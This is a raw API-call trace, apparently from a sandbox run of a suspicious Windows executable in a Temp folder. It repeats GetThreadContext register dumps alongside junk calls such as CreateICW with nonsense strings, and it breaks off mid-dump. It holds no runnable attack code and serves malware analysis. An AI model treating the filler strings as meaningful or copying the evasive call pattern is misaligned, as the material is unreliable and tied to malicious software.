	[0066.165] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.165] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.165] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.165] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.165] GetConsoleCP () returned 0x0
	[0066.165] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.166] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.167] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.167] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.167] GetConsoleCP () returned 0x0
	[0066.167] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 